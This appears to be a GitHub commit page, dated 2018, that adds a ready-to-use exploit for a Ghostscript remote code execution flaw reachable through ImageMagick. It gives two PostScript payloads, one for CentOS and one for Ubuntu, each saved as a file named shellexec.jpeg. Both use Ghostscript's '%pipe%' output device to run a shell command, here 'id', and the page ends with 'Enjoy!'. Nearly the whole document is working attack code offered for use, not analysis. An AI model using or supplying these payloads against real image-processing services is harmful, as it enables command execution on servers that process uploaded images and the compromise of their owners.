ImageMagick Ghostscript RCE

ImageMagick Ghostscript RCE
This commit is contained in:
Mr5m1th 2018-08-23 10:25:11 +08:00 committed by GitHub
parent da9adbc91d
commit 58da2f0774
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23

View File

@ -5,11 +5,27 @@
### Centos
```
$ cat shellexec.jpeg
%!PS
userdict /setpagedevice undef
legal
{ null restore } stopped { pop } if
legal
mark /OutputFile (%pipe%id) currentdevice putdeviceprops
```
### Ubuntu
```
$ cat shellexec.jpeg
%!PS
userdict /setpagedevice undef
save
legal
{ null restore } stopped { pop } if
{ legal } stopped { pop } if
restore
mark /OutputFile (%pipe%id) currentdevice putdeviceprops
```
## Enjoy!